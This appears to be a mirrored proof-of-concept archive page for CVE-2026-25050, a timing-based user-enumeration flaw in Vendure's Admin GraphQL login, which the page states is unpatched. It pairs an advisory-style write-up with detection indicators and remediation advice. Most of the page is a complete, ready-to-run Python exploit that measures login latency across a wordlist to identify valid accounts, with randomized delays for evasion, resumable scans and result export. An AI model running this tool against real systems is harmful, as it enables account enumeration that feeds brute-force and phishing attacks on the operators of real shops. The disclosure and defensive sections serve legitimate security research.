PoC Archive PoC Archive
Medium CVE-2026-25050 unpatched

Vendure GraphQL Admin API Authentication Timing Attack / User Enumeration (CVE-2026-25050)

by Christbowel · 2026-07-05

Severity
Medium
CVE
CVE-2026-25050
Category
web
Affected product
Vendure (NativeAuthenticationStrategy.authenticate(), Admin GraphQL API)
Affected versions
Not specified in source (affects versions using the vulnerable NativeAuthenticationStrategy logic)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / ResearcherChristbowel
CVE / AdvisoryCVE-2026-25050
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsvendure, graphql, timing-attack, user-enumeration, authentication, python, cwe-208, brute-force-enabler
RelatedN/A

Affected Target

FieldValue
Software / SystemVendure (NativeAuthenticationStrategy.authenticate(), Admin GraphQL API)
Versions AffectedNot specified in source (affects versions using the vulnerable NativeAuthenticationStrategy logic)
Language / PlatformPython 3 PoC against a Node.js/GraphQL target
Authentication RequiredNo
Network Access RequiredYes

Summary

Vendure’s NativeAuthenticationStrategy.authenticate() method looks up a user by email and returns immediately (in roughly 1-5ms) when no matching account exists, but performs a costly bcrypt password verification (roughly 200-400ms) when the account does exist. This asymmetry lets an unauthenticated attacker distinguish valid from invalid usernames purely by measuring response latency on the Admin GraphQL API’s login mutation, without needing correct credentials. The included exploit.py automates this by sending repeated authentication attempts per candidate username against a wordlist, averaging response times to classify each as existing or non-existing, and supports shuffling, randomized delays, resuming, and JSON export of results.


Vulnerability Details

Root Cause

Non-constant-time authentication logic: the code path returns early when getUserByEmailAddress() finds no user, but calls verifyUserPassword() (bcrypt hashing) only when a user is found, creating a measurable timing side channel keyed on account existence.

Attack Vector

  1. Attacker collects or generates a candidate list of usernames/email addresses.
  2. Attacker sends multiple authentication requests per candidate to the Vendure Admin API’s /admin-api?languageCode=en endpoint, recording response latency.
  3. Requests that consistently take ~200-400ms (bcrypt verification) are classified as existing accounts; requests returning in ~1-5ms are classified as non-existent.
  4. Confirmed valid usernames are exported for targeted credential-stuffing, brute-force, or phishing campaigns.

Impact

Enables reliable enumeration of valid Vendure admin/user accounts without any authentication, which materially improves the success rate and efficiency of follow-on brute-force and phishing attacks.


Environment / Lab Setup

Target:   Vendure instance exposing the Admin GraphQL API (/admin-api)
Attacker: Python 3, network access to the target

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python3 exploit.py -u http://target.tld -w users.txt --json results.json

The script iterates the supplied wordlist, issues multiple timed authentication attempts per entry against the vulnerable endpoint, computes average response times, classifies each username as existing or non-existing based on the timing gap, and can resume interrupted scans or export results to JSON.


Detection & Indicators of Compromise

Signs of compromise:

  • Elevated volume of failed login mutations on the Admin GraphQL API from a single IP or narrow IP range
  • Requests spaced with unusual randomized delays consistent with evasion (--delay style throttling)
  • Log entries showing systematic sweeps through a username/email wordlist

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; apply constant-time authentication logic (always perform a dummy hash verification when the user does not exist)
Interim mitigationRate-limit and add jitter/delay to the Admin API login mutation regardless of account existence; monitor for enumeration-pattern traffic

References


Notes

Mirrored from https://github.com/Christbowel/CVE-2026-25050 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/env python3
import aiohttp
import asyncio
import time
import numpy as np
import argparse
import sys
import os
import json
import random

HEADERS = {
    "Content-Type": "application/json",
    "apollo-require-preflight": "true",
}

QUERY = """
mutation AttemptLogin($username: String!, $password: String!, $rememberMe: Boolean!) {
  login(username: $username, password: $password, rememberMe: $rememberMe) {
    __typename
  }
}
"""

ATTEMPTS = 20
FAST_THRESHOLD = 40
SLOW_THRESHOLD = 150
TIMEOUT = aiohttp.ClientTimeout(total=10)

RED     = "\033[91m"
GREEN   = "\033[92m"
YELLOW  = "\033[93m"
BLUE    = "\033[94m"
CYAN    = "\033[96m"
BOLD    = "\033[1m"
RESET   = "\033[0m"

BANNER = f"""{RED}{BOLD}
 ██████╗ ██╗   ██╗███████╗
██╔════╝ ██║   ██║██╔════╝
██║      ██║   ██║█████╗
██║      ╚██╗ ██╔╝██╔══╝
╚██████╗  ╚████╔╝ ███████╗
 ╚═════╝   ╚═══╝  ╚══════╝

        CVE-2026-25050
{RESET}{CYAN}
Timing attack enables user enumeration in NativeAuthenticationStrategy
{RESET}
"""

def confidence_score(mean):
    if mean <= FAST_THRESHOLD:
        return 0
    if mean >= SLOW_THRESHOLD:
        return min(100, int((mean - FAST_THRESHOLD) / (SLOW_THRESHOLD - FAST_THRESHOLD) * 100))
    return int((mean - FAST_THRESHOLD) / (SLOW_THRESHOLD - FAST_THRESHOLD) * 50)

async def measure(session, url, username, delay):
    timings = []
    payload = {
        "operationName": "AttemptLogin",
        "variables": {
            "username": username,
            "password": "TotallyWrongPassword123!",
            "rememberMe": False
        },
        "query": QUERY
    }

    for _ in range(ATTEMPTS):
        start = time.perf_counter()
        async with session.post(url, json=payload, headers=HEADERS) as resp:
            await resp.text()
        timings.append((time.perf_counter() - start) * 1000)

        if delay:
            await asyncio.sleep(random.uniform(*delay) / 1000)

    return np.mean(timings), np.std(timings)

async def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True)
    parser.add_argument("-w", "--wordlist", required=True)
    parser.add_argument("--silent", action="store_true")
    parser.add_argument("--shuffle", action="store_true")
    parser.add_argument("--resume")
    parser.add_argument("--json")
    parser.add_argument("--delay")
    args = parser.parse_args()

    print(BANNER)

    base_url = args.url.rstrip("/")
    url = f"{base_url}/admin-api?languageCode=en"

    if not os.path.isfile(args.wordlist):
        print(f"{RED}[!] Wordlist not found{RESET}")
        return

    with open(args.wordlist, "r", encoding="latin-1", errors="ignore") as f:
        usernames = [u.strip() for u in f if u.strip()]

    if args.shuffle:
        random.shuffle(usernames)

    start_index = 0
    results = []

    if args.resume and os.path.isfile(args.resume):
        with open(args.resume, "r") as f:
            state = json.load(f)
            start_index = state.get("index", 0)
            results = state.get("results", [])

    delay = None
    if args.delay:
        a, b = args.delay.split(":")
        delay = (int(a), int(b))

    total = len(usernames)
    tested = start_index
    valid_users = [r["username"] for r in results if r["verdict"] == "VALID"]

    try:
        async with aiohttp.ClientSession(timeout=TIMEOUT) as session:
            for i in range(start_index, total):
                user = usernames[i]
                mean, std = await measure(session, url, user, delay)
                tested += 1

                conf = confidence_score(mean)

                if mean > SLOW_THRESHOLD:
                    verdict = "VALID"
                    valid_users.append(user)
                    if args.silent:
                        print(f"\n{GREEN}[+] VALID USER FOUND: {user} ({conf}%) {RESET}")
                elif mean < FAST_THRESHOLD:
                    verdict = "FAST"
                else:
                    verdict = "AMBIGUOUS"

                result = {
                    "username": user,
                    "mean_ms": round(mean, 2),
                    "stddev": round(std, 2),
                    "confidence": conf,
                    "verdict": verdict
                }
                results.append(result)

                if args.resume:
                    with open(args.resume, "w") as f:
                        json.dump({"index": tested, "results": results}, f, indent=2)

                if args.silent:
                    percent = tested / total * 100
                    print(f"\r{CYAN}[+] Progress: {percent:6.2f}% ({tested}/{total}){RESET}", end="", flush=True)
                else:
                    print(f"{user:<20} {mean:7.2f} ms  → {verdict} ({conf}%)")

    except (KeyboardInterrupt, EOFError, asyncio.CancelledError):
        pass

    finally:
        if args.silent:
            print()

        if args.json:
            with open(args.json, "w") as f:
                json.dump(results, f, indent=2)

        if valid_users:
            print(f"\n{GREEN}{BOLD}[+] Password-based accounts discovered:{RESET}")
            for u in valid_users:
                print(f"    - {u}")
        else:
            print(f"\n{YELLOW}{BOLD}[-] No password-based accounts detected{RESET}")

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        pass